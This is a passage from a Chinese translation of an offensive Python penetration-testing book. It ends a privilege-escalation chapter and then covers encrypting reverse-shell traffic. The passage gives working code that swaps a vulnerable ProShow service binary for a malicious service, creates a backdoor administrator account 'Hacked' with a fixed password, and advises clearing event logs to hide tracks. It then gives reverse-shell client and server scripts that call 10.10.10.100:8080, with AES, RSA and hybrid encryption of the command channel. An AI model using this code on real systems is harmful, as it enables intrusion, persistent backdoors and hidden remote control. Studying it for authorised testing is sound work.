在第二部分,我们定义了在接收到服务管理器信号时应该执行的操作,这将在Service类中发生。在前两行中,我们指定了服务名称和显示名称。请注意,我选择的名称ScsiAccess与 Photodex 软件的原始名称相似。因此,如果我们像上一部分那样从 Windows 任务管理器打开服务,名称将与脆弱软件的服务名称完全匹配。

接下来,我们初始化ServiceFramework,并以函数式的方式定义在接收到服务管理器信号时应该执行的操作。例如,如果服务管理器的信号是暂停,那么我们将sleep指定的秒数,即Sleep(sec*1000, True)。同样,如果信号是启动,那么我们会告诉服务管理器我们计划运行该服务;这将通过通过ReportServiceStatus()报告SERVICE_START_PENDING状态来完成。然后,在异常处理程序中,我们将告诉服务管理器我们正在启动服务,并且会调用start()函数。如果发生任何异常,我们将在这里调用SvcStop()函数。

一旦我们执行了start()函数,我们将ServiceStatus标志设置为True,然后我们将在一个while循环中等待接收来自服务管理器的停止信号。如果我们收到此信号,我们将转到stop()函数,最终将标志切换为False。现在,在stop()函数内部,我们将执行与start()函数类似的过程。因此,我们会告诉服务管理器我们计划停止服务,然后执行stop()函数,最后告诉服务管理器我们当前正在停止服务。现在,在stop()函数中,我们将服务状态标志设置为False,以打破start()函数中的无限循环。现在,如果我将此脚本导出为 EXE 文件,并用它替代sciaccess.exe并重启机器,应该可以正常工作。然而,我想再进一步,证明我们获得了系统权限。那么,让我们确保利用过程正常工作。为此,我编写了一个快速的 Python 脚本来检查我们是否以管理员身份运行:

# Are we Admin

import ctypes

if ctypes.windll.shell32.IsUserAnAdmin() == 0:
    print '[-] We are NOT admin! '
else:
    print '[+] We are admin :) '

这个脚本将简单地调用 Windows 中的IsUserAnAdmin()函数。如果返回值是0,则表示我们是标准用户;否则,表示我们拥有管理员权限。要运行这个脚本,请以管理员身份打开命令提示符,并导航到Desktop然后是Users,然后输入python "Are we Admin.py"。如果我们拥有管理员权限,将显示[+] We are admin :)。这是因为在启动命令提示符之前,我右键点击并选择了“以管理员身份运行”。

所以,我打算在我们的代码中使用这个小技巧,并将检查管理员权限的脚本注入到我们的恶意服务中。显然,它应该在服务启动时执行,因此应该位于start()函数内。一旦我们运行服务,我们将在桌面上创建一个文本文件,文件中将显示我们当前的权限。

所以,我们现在将像上一章一样将脚本导出为 EXE 文件,到这时,我们需要做的就是用生成的文件替换原始的 EXE 文件。前往 Photodex 软件的原始文件位置。由于软件存在漏洞,我们可以替换这个文件。所以,我将把这个文件重命名为access2,然后简单地复制并粘贴我们的恶意文件。如果一切正常,我们的服务应该没有任何错误地运行,并且我们应该在桌面上看到一个文本文件,打开它后应该告诉我们当前运行的权限。重启后,你会注意到桌面上有一个priv文本文件。如果你打开它,你会看到一行文本,说明我们以管理员身份运行。

提权攻击——创建一个新的管理员账户并掩盖痕迹

在我们之前的章节中,我们创建了一个恶意的 Python 服务,并将合法服务替换掉。一旦系统启动,我们验证了我们获得了系统或管理员权限。现在,在这一节中,我们将看到如何创建一个新的管理员账户,然后从标准用户跳转到管理员账户。所以,我在代码部分做的修改是将以下部分添加到之前的代码中,简而言之,这段代码将会在服务启动后创建一个新的管理员账户:

...       

 USER = "Hacked"
        GROUP = "Administrators"
        user_info = dict ( # create a user info profile in a dictionary format
               name = USER,
               password = "python_is_my_life", # Define the password for the 'hacked' username
               priv = win32netcon.USER_PRIV_USER,
               home_dir = None,
               comment = None,
               flags = win32netcon.UF_SCRIPT,
               script_path = None
                )

        user_group_info = dict ( # create a group info profile in a dictionary format
            domainandname = USER
           )

        try:
            win32net.NetUserAdd (None, 1, user_info)
            win32net.NetLocalGroupAddMembers (None, GROUP, 3, [user_group_info])
        except Exception, x:
            pass

...

所以,记住,我已经在start()函数下添加了上述部分。在这里,我们定义了一个名为Hacked的新用户名,以及它所属的组,即Administrators组。接下来,我们在字典格式中创建一个用户和组信息配置文件。然后,在字典中,我们指定一些值,如passwordprivhome_dir。最后,我们创建新的管理员账户并将其添加为Administrators组的成员。如果在创建过程中发生任何异常,我们将简单跳过它。现在,在导出代码为 EXE 并测试之前,快速验证一下我们在机器上获得的用户名,通过在命令提示符中运行net users,它会列出机器上的所有用户。

目前,我们登录的是nonadmin账户。所以,让我们继续在这里导出 EXE。将脚本复制到Toexe文件夹并重命名为sciaccess。现在,运行安装文件。然后,将导出的 EXE 文件复制并替换掉Photodex\ProShow Producer文件夹中的脆弱软件。此时,如果一切正常,重启后我们应该能看到一个名为Hacked的新管理员账户。现在,重启机器并登录到nonadmin账户。打开命令提示符。现在,如果我们输入net users,我们将看到一个新的用户名Hacked

如果我们输入net users Hacked,我们会看到底部显示我们属于Administrators组。所以,在这一点上,一旦我们获得管理员权限,就可以为所欲为。那么,让我们走上歧途,使用被黑的管理员账户登录并清除事件查看器中的 Windows 事件日志。这将有助于我们掩盖痕迹。

总结

在本章中,我们学习了不同的特权提升方式和漏洞利用方法。我们从导出文件到 EXE 开始,然后转向针对脆弱软件。之后,我们开始创建后门并随后掩盖我们的痕迹,以避免被发现。

在下一章,我们将处理不同类型的加密算法。

第六章:恶意软件对加密技术的滥用

在本章中,我们将使用比简单的 XOR 更坚固的方式来保护我们的隧道,因为现代恶意软件使用一种知名的加密算法来保护其在传输路径中的流量。

本章涵盖的主题如下:

  • 加密算法简介

  • 使用 AES 保护你的隧道—流模式

  • 使用 RSA 保护你的隧道

  • 混合加密密钥

加密算法简介

在本节中,我们将简要概述加密领域中最常见的加密算法。基本上,有两种类型的加密算法:第一种叫做对称加密,第二种叫做非对称加密。这种分类是根据所需密钥的数量以及它们的操作方式来进行的。我们将稍微讨论一下这些算法之间的区别,首先从对称加密开始。

现在,对称加密使用一个密钥来进行加密和解密,这个密钥在客户端和服务器端共享。最常见的对称加密算法有 AES、Blowfish、RC4 和 Triple DES。在非对称加密中,我们有密钥对的概念,其中一个叫做公钥,用于加密,而另一个叫做私钥,用于解密。密钥的名称暗示了公钥可以在不可信的网络(如互联网)上发布,这样做不会造成任何损害。另一方面,私钥绝不能离开操作系统或旨在解密数据的机器。如果私钥泄露出操作系统,那么任何拥有该私钥的人都可以解密流量。

客户端或目标必须生成自己的密钥对,服务器或攻击者则需要生成自己的密钥。现在,在双方各自生成密钥对后,操作流程如下:客户端将持有自己的私钥和服务器的公钥;另一方面,服务器将持有自己的私钥和客户端的公钥。简要回顾一下,切换后,在 Kali 一侧我们拥有自己的私钥和目标的公钥。同样,在目标一侧,我们拥有自己的私钥,并且也持有 Kali 的公钥。因此,在我们的 shell 中反映这一点,当我们得到一个反向 shell 提示并输入要执行的命令时,例如ipconfig,它将使用客户端的公钥进行加密,并通过隧道发送。

当我们在终端提示符中输入ipconfig时,在将ipconfig明文发送之前,我们将使用目标的公钥对该消息进行加密,并通过隧道发送出去。不管谁在监视这段流量,只有客户端可以解密它,因为只有客户端持有私钥。我们将使用目标的私钥解密命令,并将其恢复为明文,这就是ipconfig命令。现在,当客户端执行ipconfig时,输出不会以明文形式发送,而是使用服务器或 Kali 公钥进行加密,并通过隧道发送出去。现在,在 Kali 一侧,一旦我们收到加密的消息,我们将将其交给我们的私钥,私钥将用于解密流量或解密消息并以明文形式打印出来。最后,我需要提到的关于非对称加密的内容是这个算法的最常见示例,即 RSA 和Pretty Good PrivacyPGP)。

两种方法各有其优缺点。非对称算法被认为比对称算法更难破解,更坚固、更安全。然而,它需要更多的处理过程,比对称算法慢得多。那么,问题是,我们能否创建一个混合系统或混合算法,利用对称和非对称系统的优点?答案是肯定的。

我们将使用非对称算法安全地传输一个随机且复杂的密钥。这个密钥稍后将用于使用对称算法加密我们的传输数据。所以,基本上,事情是这样的。Kali 机器将持有目标的公钥,然后我们将在 Kali 侧生成对称密钥。现在,我们将利用目标侧的非对称公钥,并使用它来加密生成的对称密钥,并将其发送到目标侧。目标将使用其私钥解密对称密钥。

我们将使用目标的私钥来导出或解密对称密钥。因此,到这个步骤,我们可以使用这个对称密钥来进行隧道加密。现在,一旦我们安全地传输了对称密钥,我们就可以用它来加密通过这个隧道传输的每个命令或输出。简单回顾一下,一旦目标端启动与我们 Kali 侧的会话,我们将生成对称密钥。为了安全地传输这个对称密钥,我们将使用目标的公钥加密它,并发送过去。在目标端,我们将解密该消息并再次提取对称密钥。到此为止,双方都拥有了对称密钥。现在,我们可以安全地通过对称密钥在双方之间传输命令。最后,我们要讨论的是使用混合方法的好处。首先,我们通过安全地传输生成的对称密钥来保持它的安全。其次,请记住,这是一个随机生成的密钥,每次连接时都会更改。我们不会在两端硬编码这个密钥,而是每次连接时密钥都会更改。此外,我们还可以随时更改密钥。例如,在 VPN IPSEC 协议中,你可以设置一个标准,在一定时间或消耗一定带宽后更换加密密钥。

使用 AES 加密保护你的隧道 – 流模式

在本节中,我们将使用 AES 加密来保护我们的 TCP 隧道。一般来说,AES 加密可以在两种模式下运行:计数器(CTR)模式加密(也称为流模式)和密码块链接(CBC)模式加密(也称为块模式)**。

密码块链接(CBC)模式加密

块模式意味着我们需要以数据块的形式发送数据:

例如,如果我们说块大小为 512 字节,并且我们想发送 500 字节的数据,那么我们需要额外添加 12 字节的填充数据,以使总大小达到 512 字节。如果我们想发送 514 字节,那么前 512 字节将作为一个块发送,第二个块或下一个块将为 2 字节大小。然而,我们不能仅仅发送 2 字节,因为我们需要添加额外的 510 字节填充,以使第二个块的总大小为 512 字节。现在,在接收端,你需要通过去除填充并解密消息来逆向执行这些步骤。

计数器(CTR)模式加密

现在,让我们跳到另一种模式,也就是计数器(CTR)模式加密流模式

在这种模式下,消息大小并不重要,因为我们不受块大小的限制,且我们将以流模式加密,就像 XOR 操作一样。现在,块模式在设计上被认为比流模式更强。在本节中,我们将实现流模式,剩下的块模式的实现将交给你自己去探索。

Python 中最著名的加密库叫做 PyCrypto。对于 Windows,它有一个编译好的二进制文件,对于 Kali 端,你只需要在下载库后运行安装文件。你可以从 www.voidspace.org.uk/python/modules.shtml#pycrypto 下载这个库。所以,作为开始,我们将使用 AES,而不使用 TCP 或 HTTP 隧道:

# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# AES Stream

import os
from Crypto.Cipher import AES

counter = os.urandom(16) #CTR counter string value with length of 16 bytes.
key = os.urandom(32) #AES keys may be 128 bits (16 bytes), 192 bits (24 bytes) or 256 bits (32 bytes) long.

# Instantiate a crypto object called enc
enc = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
encrypted = enc.encrypt("Hussam"*5)
print encrypted

# And a crypto object for decryption
dec = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
decrypted = dec.decrypt(encrypted)
print decrypted

代码非常简单。我们将首先导入 os 库,并从 Crypto.Cipher 库中导入 AES 类。现在,我们使用 os 库来创建随机的 key 和随机的 counter。计数器的长度是 16 字节,我们将为密钥大小选择 32 字节,以实现 AES-256。接下来,我们通过传递 key、AES 模式(这仍然是流模式或 CTR 模式)和 counter 值来创建加密对象。现在,请注意,counter 需要作为可调用对象发送。这就是我们使用 lambda 结构或 lambda 构造的原因,它是一种匿名函数,就像一个没有绑定名字的函数。解密过程与加密过程非常相似。所以,我们创建一个解密对象,然后传递加密消息,最后它会打印出解密后的消息,应该是明文的。

所以,让我们快速测试一下这个脚本并加密我的名字。一旦我们运行脚本,加密后的版本会显示在上面,下面的是解密后的版本,即明文:

>>>
]ox:|s
Hussam

>>>

所以,为了测试消息的大小,我将调用一个空格,并将我的名字的长度乘以5。这样,我们就得到了5倍的长度。明文的大小在这里并不重要。无论明文是什么,使用流模式时,我们都不会遇到任何问题。

现在,让我们将加密功能集成到我们的 TCP 反向 Shell 中。以下是客户端脚本:

# Python For Offensive PenTest# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# AES - Client - TCP Reverse Shell

import socket 
import subprocess 

from Crypto.Cipher import AES

counter = "H"*16
key = "H"*32

def encrypt(message):
    encrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
    return encrypto.encrypt(message)

def decrypt(message):
    decrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
    return decrypto.decrypt(message) 

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.connect(('10.10.10.100', 8080)) 

    while True: 
        command = decrypt(s.recv(1024))
        print ' We received: ' + command

...

我添加的是一个新的加密和解密函数,适用于双方,正如你所看到的,密钥和计数器值在两端都是硬编码的。我需要提到的一个旁注是,我们将在后面的混合加密中看到,如何从 Kali 机器生成一个随机值并安全地传输到我们的目标,但现在,暂时让我们将其硬编码在这里。

以下是服务器端脚本:

# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# AES - Server- TCP Reverse Shell

import socket 
from Crypto.Cipher import AES

counter = "H"*16
key = "H"*32

...

def connect():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.bind(("10.10.10.100", 8080)) 
    s.listen(1) 
    print '[+] Listening for incoming TCP connection on port 8080'
    conn, addr = s.accept() 
    print '[+] We got a connection from: ', addr

...

它是这样工作的。在发送任何内容之前,我们会先将想要发送的内容传递给加密函数。当我们得到 Shell 提示符时,我们的输入会首先传递给加密函数;然后它会通过 TCP 套接字发送出去。现在,如果我们跳转到目标端,它几乎是镜像的。当我们接收到加密消息时,我们会首先将其传递给解密函数,解密函数会返回明文值。同时,在向 Kali 机器发送任何内容之前,我们会先加密它,就像在 Kali 端所做的那样。

现在,在两个端进行脚本运行。保持 Wireshark 在 Kali 端后台运行。我们从ipconfig开始。在目标端,我们将能够成功地将加密消息解密为明文。

现在,为了验证我们在传输路径中得到了加密,在 Wireshark 中,如果我们右键点击特定的 IP 并选择“Follow TCP Stream”,我们将看到消息在发送到 TCP 套接字之前已经被加密。

使用 RSA 保护你的隧道

在本节中,我们将使用 RSA 非对称算法来保护我们的隧道。现在,回顾非对称加密的要求:正如我们所说,每个实体都有自己的一对密钥;当我说密钥对时,我指的是公钥和私钥。最终的密钥对分配如下:客户端将持有自己的私钥和服务器的公钥。另一方面,服务器或 Kali 机器将持有自己的私钥和目标的公钥。因此,当我们想从 Kali 端向目标发送消息或命令时,首先我们将使用目标的公钥加密该消息,然后将其以加密格式通过隧道发送。目标将接收该命令或消息,并使用其私钥解密,从而恢复明文。执行完命令后,回复将使用服务器的公钥进行加密。之后,我们将以加密格式将其发送到网络,一旦我们在 Kali 机器上接收到该消息或加密消息,我们将使用 Kali 的私钥将其解密为明文。

现在,第一步是在两端生成一个密钥对:

# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# Generate Keys

from Crypto.PublicKey import RSA 
new_key = RSA.generate(4096 ) # generate RSA key that 4096 bits long

#Export the Key in PEM format, the PEM extension contains ASCII encoding

public_key = new_key.publickey().exportKey("PEM") 
private_key = new_key.exportKey("PEM") 
print private_key
print public_key

所以,我们从导入RSA类开始。然后,我们创建一个新的对象来生成一个大小为4096位的密钥。现在,这是RSA支持的最大大小,但拥有一个复杂密钥所付出的代价就是其运行速度较慢。密钥越大,安全性越高,但操作会越慢。接下来,我们将密钥导出为PEM格式。PyCrypto支持其他格式,如DER,它是二进制编码。最常见的格式是PEM,它也用于网络设备,如防火墙和路由器,用于 VPN 或 HTTPS 访问目的。现在,打印出生成的密钥后,我们将其保存到private.pempublic.pem文件中。

让我们开始吧,运行之前提供的生成密钥脚本,分别在目标机器和攻击者机器上执行。在 Kali 机器上,我们会得到 RSA 私钥和公钥,密钥的开始和结束部分会被标记。我们在 Windows 机器上也会得到类似的结果。那么,现在我们要做的是,在 Kali 机器上复制每个密钥并保存到一个单独的文件中。首先从攻击者机器上的私钥开始,将私钥粘贴到记事本文件中。将此文件重命名为private.pem。现在,接下来做相同的操作,处理公钥。我们将它命名为public.pem。之后,切换到 Windows 机器,按照在 Kali 机器上做的操作进行。

现在,正如我们在 AES 加密中所做的那样,在将加密集成到我们的隧道中之前,首先让我们看看加密和解密是如何工作的:

# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"from Crypto.PublicKey import RSA

# RSA ENC-DEC

from Crypto.PublicKey import RSA

def encrypt(message):
    publickey = open("public.pem", "r")
    encryptor = RSA.importKey(publickey)
    global encriptedData
    '''
The encrypt function, will take two arguments, the second one can be discarded
>>that's why we passed (message,0) arguments

The returned value is a tuple with two items. The first item is the
cipher text. The second item is always None.
>>that's why print encriptedData[0]

Ref: https://pythonhosted.org/pycrypto/Crypto.PublicKey.RSA._RSAobj-class.html#encrypt
    '''
    encriptedData=encryptor.encrypt(message,0)
    print encriptedData[0]

encrypt('Hussam')

def decrypt(cipher):
    privatekey = open("private.pem", "r")
    decryptor = RSA.importKey(privatekey)
    print decryptor.decrypt(cipher) 

decrypt(encriptedData)

在这里,我们首先定义一个加密函数,我们将传入我们想加密的消息,并在下面定义一个解密函数,就像我们在 AES 加密中做的一样。现在,在获取明文消息之后,我们将打开公钥文件,这个文件会为我们加密消息,并将导入的密钥链接到encryptor对象中。现在,encryptor对象将为我们执行实际的加密操作。

RSA类中的加密函数需要两个参数。第一个是明文消息,第二个参数可以简单地忽略。因此,我们传入了一个0值。另一个需要注意的是,加密的输出以元组格式返回。第一个元素包含加密后的文本,所以我们将打印出来,进行测试时——我先从加密我的名字开始。

让我们跳转到解密过程,我们将通过导入做类似于加密过程的操作。现在,这是关键的不同点。在解密时,我们将导入privatekey并传入cipher值,然后在解密后打印出明文。

让我们尝试在 Windows 机器上运行脚本,如果你遇到一个错误消息,提示我们没有找到public.pem文件或目录,很可能是因为保存的文件格式问题。查看完整的扩展名并去掉.txt,将其改为.pem,无论是公钥还是私钥文件都需要这样修改。

在这里,我们首先要加密我的名字,我们将以明文形式将我的名字传递给加密函数。现在,一旦我们导入了公钥进行加密,就会打印出加密后的消息。然后,我们将加密后的消息传回解密函数,以便我们可以以明文格式打印出来。

现在,如果我们切换到 Kali 机器并运行稍微修改过的encrypt()函数脚本:

...
encrypt('H'*512)
...

现在,注意到我已经在代码块中加密了一个大小为512字节的消息。我想展示的重点是,RSA 作为一个块密码类型在工作,并且根据PyCrypto的实现,块大小为512字节。

现在,让我们看看如果我将消息大小增加 1 字节会发生什么。所以下面我不会将其乘以 512,而是直接乘以 513。此时会抛出一个异常,提示明文数据过大,无法处理。

所以,消息的最大大小必须是 512 字节。现在,我要做的第一件事是将 RSA 集成到我们的 TCP 隧道中,然后我会展示如何通过几行 Python 代码解决块大小问题。现在,集成过程与我们在前面部分所做的非常相似。让我们来看一下客户端脚本:

# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# RSA - Client - TCP Reverse Shell

import socket 
import subprocess 

from Crypto.PublicKey import RSA

def encrypt(message):
    #Remember that here we define the server's public key
    publickey ='''-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----'''

    encryptor = RSA.importKey(publickey)
    global encriptedData
    encriptedData=encryptor.encrypt(message, 0)
    return encriptedData[0]

def decrypt(cipher):
    #Remember that here we define our (the target's) private key
    privatekey = '''-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----'''

    decryptor = RSA.importKey(privatekey)
    dec = decryptor.decrypt(cipher) 
    return dec

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.connect(('10.10.10.100', 8080)) 

    while True:

        command = decrypt(s.recv(512))
        print ' We received: ' + command
...

所以,我创建了两个函数:一个用于加密,另一个用于解密。在发送任何命令之前,我们首先将其传递给加密函数,在打印任何结果之前,我们将得到的结果传递给解密函数。现在,请记住,目标端持有其私钥和服务器的公钥,而 Kali 机器持有其私钥和客户端的公钥。现在,去 Kali 机器,打开你之前保存在文本文件中的公钥。复制并粘贴公钥到变量中。所以,很显然,在将脚本导出为 EXE 格式之前,我们需要手动导入这些密钥。接下来,我们将打开刚才生成的目标端公钥。记住,这个公钥应该位于 Kali 机器上的公钥变量中。执行与之前相同的操作。

现在,是时候处理私钥了。因此,Kali 机器的私钥将位于该机器的脚本中。从文本文件中复制并粘贴私钥到服务器端和客户端的字符串中,并保存它们。现在,让我们看看集成到 TCP 隧道后的脚本是否能正常工作。启动 Wireshark,并在服务器端运行它。接着,我们跳到目标端,基本上我们得到了连接和一个 Shell 提示符。用一个不那么复杂的命令,比如 whoami 来检查连接。

现在,记住,whoami 的大小小于 512 字节;因此,我们能够成功地在 Kali 机器上加密它,并将其发送到目标端。而且,由于执行 whoami 的输出大小也小于 512 字节,我们成功收到了回复。所以,我们已经验证了加密功能在这里正常工作。现在,让我们尝试另一个命令,比如 ipconfig

你会注意到我们已经成功接收到命令,但由于某些原因,在 Kali 机器上没有输出,这是因为在客户端或目标端执行 ipconfig 的输出超过了 512 字节,因此脚本会崩溃,因为我们超出了消息的大小限制。正如我之前所说,这可以通过验证消息长度并将其分解成多个块来解决,每个块应该小于或等于 512 字节。所以,让我们看一下最新的代码,它为我们解决了块大小的问题:

...     
 if len(result)>512:
                for i in range(0, len(result), 512):
                    chunk = result[0+i:512+i]
                    s.send( encrypt (chunk ) )

            else:
                s.send( encrypt (result ) ) 
...

我们创建了一个if语句来检查命令执行输出的大小。例如,假设我们从 Kali 得到的命令是ipconfig。那么,我们将检查 ipconfig 的输出是否大于 512 字节。如果没有,说明没有问题:我们将把输出发送到 encrypt() 函数,然后它会直接发送到 Kali 机器。不过,如果输出大于 512 字节,我们将其拆分成多个块,每个块的最大大小为 512 字节。拆分过程将通过一个 for 循环完成,我们从 0 开始,直到命令执行输出的长度。每次循环时,我们会将 i 计数器增加 512 字节。因此,通过这样做,我们将使得每个拆分的结果保存在块变量中,第一块将包含从 0512 字节的结果,第二块将包含从 5001024 字节的结果,以此类推,直到达到命令输出的长度。现在,注意到每次我们得到一个块后,我们就可以立即将其发送到攻击者机器,确保在发送之前已经通过加密函数处理过。

现在,在目标端,由于我们已经知道接收到的数据的最大大小是 512 字节,而不是再去读取 1 KB 并拆分成块,我们将每次读取一个块。因此,这就是为什么我们将接收值从 1 KB 更改为 512 字节的原因。现在,在解密该块后,如果我们得到的明文消息的大小正好是 512 字节,这很可能意味着该消息已经在目标端被拆分成了块,对吧?那么,下一条消息或块与第一条相关联。这就是为什么存储的变量会保存这两条消息的原因,当我说这两条时,我指的是 store + decrypt 消息和接下来的 store + decrypt 消息。最后,我们将 printresult

如果命令执行结果大于两条消息,或者换句话说,结果大于 1 KB,那么我们可能需要将第三条消息也与存储的变量关联起来。

那么,我们来验证一下代码现在是否有效。启动服务器端和客户端。首先运行之前失败的命令 ipconfig,我们会看到它的输出是一个完整的结果,即使它大于 512 字节。whoami 和目录命令也会得到类似的输出。

RSA 还被用于开发一种叫做 勒索软件 的东西。在勒索软件中,攻击者可以使用公钥加密目标文件,并要求支付费用以提供私钥,从而解密这些重要文件。

混合加密密钥

在这一点上,你应该能够编写代码并实现 RSA 非对称加密和 AES 对称加密,并将两者整合到我们的 TCP shell 中。那么现在,我们将实现一种混合方式,利用这两种算法。我们先快速回顾一下。客户端将持有自己的私钥,服务器或 Kali 机器将持有目标的公钥。一旦 TCP 连接建立,Kali 机器将生成一个随机的 AES 密钥,我们将安全地将这个密钥发送到目标端。我之所以说安全地,是因为传输将通过加密进行,或者通过使用目标的公钥加密随机的 AES 密钥。一旦目标收到该消息,它将使用目标的私钥进行解密,并将 AES 密钥还原为明文。此时,Kali 和目标机器都拥有相同的随机生成的 AES 密钥,这些密钥将用于 AES 加密。现在,此时的 AES 加密将用于加密我们将在 Kali 机器和目标之间来回传输的命令。

在每次新的连接时,Kali 和目标将重复整个过程,并且会派生出一个新的随机密钥。这就是为什么这叫做混合方法,因为我们使用非对称算法来安全地传输生成的对称密钥,最终将用来加密我们的命令。

所以,让我们跳到编码部分,这部分是对称和非对称的混合。以下是服务器端脚本:

# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# Hybrid - Server- TCP Reverse Shell

import socket 
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
import string
import random

def encrypt_AES_KEY(KEY):

    publickey ="""-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""

    encryptor = RSA.importKey(publickey)
    encriptedData=encryptor.encrypt(KEY, 0)
    return encriptedData[0]

完成 TCP 三次握手后,我们将生成两个随机值,即keycounter。它们的值是由大写字母、小写字母、数字和特殊字符的组合组成。在进入无限循环之前——该循环将用于传输我们希望执行的命令——我们将使用目标的公钥对这些值进行加密,然后传输:

...

def connect():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.bind(("10.10.10.100", 8080)) 
    s.listen(1)                                                        
    print '[+] Listening for incoming TCP connection on port 8080'
    conn, addr = s.accept() 
    print '[+] We got a connection from: ', addr
    global key
    key = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(32))
    print "Generated AES Key " + str(key)
    conn.send ( encrypt_AES_KEY(key) )
    global counter
    counter = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(16))
    conn.send ( encrypt_AES_KEY(counter) )
 ...

在目标端,并且在进入无限循环之前,我们将解密从 Kali 机器接收到的密钥和计数器;我们将使用我们的私钥进行加密。然后,我们将它们存储在一个全局变量中,这个变量将用于 AES 加密。同样,这个操作也会在进入无限循环之前完成。我们的私钥的定义在一个名为GET_AES_KEY()的函数中。所以,在此时,我们获得了密钥和counter值,正如我所说,我们将使用它们进行 AES 加密。因此,encrypt 函数和 decrypt 函数用于保护我们将在 Kali 和 Windows 机器之间来回传输的命令。现在,一旦我们进入无限循环,我们将使用 AES 的流模式来保护我们的隧道:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# Hybrid - Client - TCP Reverse Shell

import socket 
import subprocess 

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES

def GET_AES_KEY(KEY):
    privatekey = """-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----"""

    decryptor = RSA.importKey(privatekey)
    AES_Key = decryptor.decrypt(KEY) 
    return AES_Key
...
def connect():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.connect(('10.10.10.100', 8080))
    global key, counter
    x = s.recv(1024)
    key = GET_AES_KEY( x )
    print "Generated AES Key " + str(key)
    y = s.recv(1024)
    counter = GET_AES_KEY( y )
     while True: 
        command = decrypt(s.recv(1024))
        print ' We received: ' + command

...

现在,让我们运行脚本,先从 Kali 端开始,然后是 Windows 端。你会注意到,一旦我们启动目标,Kali 机器上会生成一个随机的 AES 密钥,然后将其传输到目标端。

如果我们打开 Wireshark,右键点击任何一个 IP 地址并选择“Follow TCP Stream”,我们可以看到 AES 密钥在经过目标的公钥加密后成功传输。

因此,一旦我们获得密钥,所有发送的数据将会使用 AES 密钥流进行加密。所以,当我们在 Kali 机器上运行ipconfig并再次点击“Follow TCP Stream”时,ipconfig将会使用 AES 算法进行加密。

让我们尝试另一个命令,例如whoami。如果我们通过输入terminate停止此会话,然后重新建立一个新会话,你会看到根据新会话生成了一个新的随机 AES 密钥。

所以,每次目标连接到 Kali 机器时,都会生成一个新的随机密钥。

从技术角度讲,你可以在这里增强脚本,使两端在一定时间后或发送特定字节数后更换 AES 密钥,就像 VPN 隧道中的 IPSEC 所做的那样。

总结

在本章中,我们讨论了从加密算法介绍到不同类型算法的各种话题。我们还实现了 AES 和 RSA 来保护信息传输过程中的隧道。

到这里,我们已经走到了本书的结尾!希望你学到了很多可以用 Python 进行测试的技巧。